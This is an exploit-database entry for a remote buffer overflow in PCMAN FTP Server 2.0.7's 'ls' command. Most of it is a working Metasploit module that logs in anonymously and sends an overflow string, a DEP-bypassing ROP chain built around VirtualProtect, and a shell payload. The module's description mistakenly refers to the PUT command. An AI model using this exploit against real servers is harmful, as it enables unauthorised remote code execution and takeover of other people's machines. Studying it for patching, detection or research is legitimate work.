PCMAN FTP Server 2.0.7 ls Buffer Overflow

2016.06.23
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

=begin # Exploit Title: PCMAN FTP erver 2.0.7 Buffer Overflow # Date: 22-06-2016 # Software Link: https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z # Exploit Author: quanyechavshuo # Contact: quanyechavshuo@gmail.com # Website: http://xinghuacai.github.io # Category: ftp remote exploit 1. Description this is another bug of pcmanftp which can be used to get a remote shell,and fits well with win7x64 with dep open,refer from https://www.exploit-db.com/exploits/39662/ use anonymous and any password to login the ftp remotely,then send a command "ls AAA...A"(9000),the pcmanftp will crashed,later,find the 2009-2012th "A" will replace the pcmanftp's retn address =end ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'PCMAN FTP Server Buffer Overflow - ls Command', 'Description' => %q{ This module exploits a buffer overflow vulnerability found in the PUT command of the PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous credientials are enabled. }, 'Author' => [ 'quanyechavshuo' ], 'License' => MSF_LICENSE, 'References' => [ [ 'EDB', '39662'], [ 'OSVDB', 'N/A'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x0A\x0D", }, 'Platform' => 'win', 'Targets' => [ [ 'windows 7 x64 chinese', { #'Ret' => 0x77636aeb, #dont need ret here in win7 'Offset' => 2008 } ], ], 'DisclosureDate' => 'Aug 07 2015', 'DefaultTarget' => 0)) end def check connect_login disconnect if /220 PCMan's FTP Server 2\.0/ === banner Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def create_rop_chain() # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x77032c3b, # POP EAX # RETN [kernel32.dll] 0x41414141, # add a 4 bytes data to fit retn 0x4 from the last function's retn before eip=rop_gadgets 0x73c112d0, # ptr to &VirtualProtect() [IAT OLEACC.dll] 0x76bb4412, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSCTF.dll] 0x76408d2a, # XCHG EAX,ESI # RETN [SHLWAPI.dll] 0x76b607f0, # POP EBP # RETN [msvcrt.dll] 0x74916f14, # & push esp # ret [RICHED20.dll] 0x7368b031, # POP EAX # RETN [COMCTL32.dll] 0xfffffaff, # Value to negate, will become 0x00000201 0x756c9a5c, # NEG EAX # RETN [SHELL32.dll] 0x767088bd, # XCHG EAX,EBX # RETN [RPCRT4.dll] 0x77031d7b, # POP EAX # RETN [kernel32.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x76cc4402, # NEG EAX # RETN [SHELL32.dll] 0x76b4ad98, # XCHG EAX,EDX # RETN [SHELL32.dll] 0x756b1cc1, # POP ECX # RETN [SHELL32.dll] 0x7647c663, # &Writable location [USP10.dll] 0x73756cf3, # POP EDI # RETN [COMCTL32.dll] 0x76cc4404, # RETN (ROP NOP) [USER32.dll] 0x76b3f5d4, # POP EAX # RETN [msvcrt.dll] 0x90909090, # nop 0x7366e16f, # PUSHAD # RETN [COMCTL32.dll] ].flatten.pack("V*") return rop_gadgets end def exploit connect_login print_status('Generating payload...') sploit = rand_text_alpha(target['Offset']) #tmp = sploit #print_status(tmp) sploit << create_rop_chain() #sploit << make_nops(9) ?????nop??90 sploit << "\x90"*30 #sploit << "\x41"*30 #sploit << "\xcc" sploit << payload.encoded #tmp=sploit tmp=make_nops(9) print_status(tmp) send_cmd( ["ls", sploit], false ) disconnect end end

References:

http://cxsecurity.com/issue/WLB-2016040153


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